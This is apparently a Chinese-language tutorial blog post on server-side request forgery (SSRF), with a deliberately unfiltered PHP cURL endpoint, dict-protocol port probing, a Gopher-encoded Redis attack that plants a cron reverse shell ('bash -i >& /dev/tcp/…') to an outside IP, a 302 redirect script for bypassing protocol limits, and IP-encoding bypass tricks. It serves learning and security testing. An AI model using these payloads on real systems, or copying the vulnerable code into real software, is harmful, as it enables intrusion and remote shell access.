初探ssrf

索引

ssrf是很常见的一个漏洞,一开始把ssrf简单的理解为链接重定向漏洞,其实也可以这么说,曾经这个漏洞影响过许多互联网企业。

危害有如下几个类型:

内网端口扫描
内网Web应用指纹识别
通过访问内网Web应用robots.txt等方式辨别cms的类型及版本然后根据公开的漏洞去攻击内网服务器
读取本地文件
读取远程文件
攻击内网其他应用,如redis,从而反弹shell

SSRF原理

cURL

curl是一个利用URL语法在命令行方式下工作的文件传输工具。PHP中有cURL的苦,叫libcurl,支持许多协议:FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE 以及 LDAP。curl同样支持HTTPS认证,HTTP POST方法, HTTP PUT方法, FTP上传, kerberos认证, HTTP上传, 代理服务器, cookies, 用户名/密码认证, 下载文件、

我们可以利用curl进行抓取网页内容

伪造请求

通俗的来说就是我们可以伪造服务器端发起的请求,从而获取客户端所不能得到的数据。SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。

类似于这样的形式:

ip:port/ssrf.php?url=xxxx

我们构造一个url请求,server端接收并访问传入的url,然后会返回给客户端相应数据(如图片等)。正常情况下,服务端希望我们传入的url是一个正常的链接,可能是站内的图片、网链,也可能是站外的其它友链。php后端使用cURL初始化一个新的cURL会话并获取一个网页。

但是,如果我们通过curl允许的协议来传递给url这个参数一些邪恶的信息呢?后果可想而知

SSRF分析

漏洞搭建

ssrf漏洞代码,未作过滤

<?php 
// 创建一个新cURL资源
$ch = curl_init(); 

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_HEADER, 0); 

// 抓取URL并把它传递给浏览器
curl_exec($ch); 

// 关闭cURL资源,并且释放系统资源
curl_close($ch); 
?>

file协议查看文件

我们url传入的file协议语句,会在服务会执行一个curl语句,返回查询的信息。这个是基于有回显的情况,不过现在很多php后端如果这样写的话:

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1)

协议就算失效了,这种方法失败

dict协议探测端口

探测22端口(ssh服务)

http://ip:port/ssrf.php?url=dict://127.0.0.1:22/info

服务端会执行:

curl -v 'dict://127.0.0.1:22/info'

探测3306端口

http://ip:port/ssrf.php?url=dict://127.0.0.1:3306
/info

Gopher协议攻击redis反弹shell

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/要反弹的公网ip/反弹端口 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

这里网址以127.0.0.1,redis端口6379,公网ip为172.19.23.228且监听端口为2333为例
改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

302跳转

Curl默认不支持302跳转,所以需要在ssrf.php中加上一行curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)来支持跳转

代码如下:

function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

php限制为http、https协议之后,我们就无法使用刚才的file dict gopher的协议了,但是我们如果开启302跳转的话可以,跳转到我们自己的vps上的网页来执行这些协议。因为服务端并没有ban掉这些协议,所以我们就找一个跳板来执行

302辅助跳转脚本:

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

通过http/s协议引入我们自己的php脚本,这样就可以执行其他协议语句
发送的请求如下:

http://127.0.0.1/ssrf.php?url=http://your vps's ip/302.php?schema=dict%26ip=127.0.0.1%26port=22%26query=info

注意是POST请求还是GET请求

SSRF挖掘

社交分享功能
转码服务
在线翻译
在线代理浏览器
图片加载/下载
图片/文章收藏功能
API或调用外部URL的功能

SSRF绕过

IP地址转换绕过

数字地址(十进制):127.0.0.1->2130706433
十六进制:127.0.0.1->0x7F000001或0x7F.00.00.01或0x7F.0x00.0x00.0x01
八进制: 127.0.0.1->0177.0.0.1或0177.00.00.01
省略写法:127.0.0.1->127.1

xip.io绕过

127.0.0.1.xip.io
www.127.0.0.1.xip.io
xxx.127.0.0.1.xip.io
fuzz.xxx.127.0.0.1.xip.io

相关链接

利用 gopher 协议拓展攻击面

浅析SSRF原理及利用方式

SSRF漏洞分析与利用

not found!